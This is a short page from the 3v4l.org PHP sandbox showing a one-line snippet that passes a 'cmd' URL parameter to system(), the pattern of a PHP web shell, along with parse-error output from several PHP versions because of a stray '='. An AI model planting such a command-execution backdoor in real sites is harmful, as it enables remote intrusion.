3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $cmd = $_GET['cmd']; =system($cmd); ?>
Output for 7.0.0 - 7.0.1
Parse error: syntax error, unexpected '=', expecting end of file in /in/LcI9i on line 3
Process exited with code 255.
Output for 5.3.21 - 5.6.16
Parse error: syntax error, unexpected '=' in /in/LcI9i on line 3
Process exited with code 255.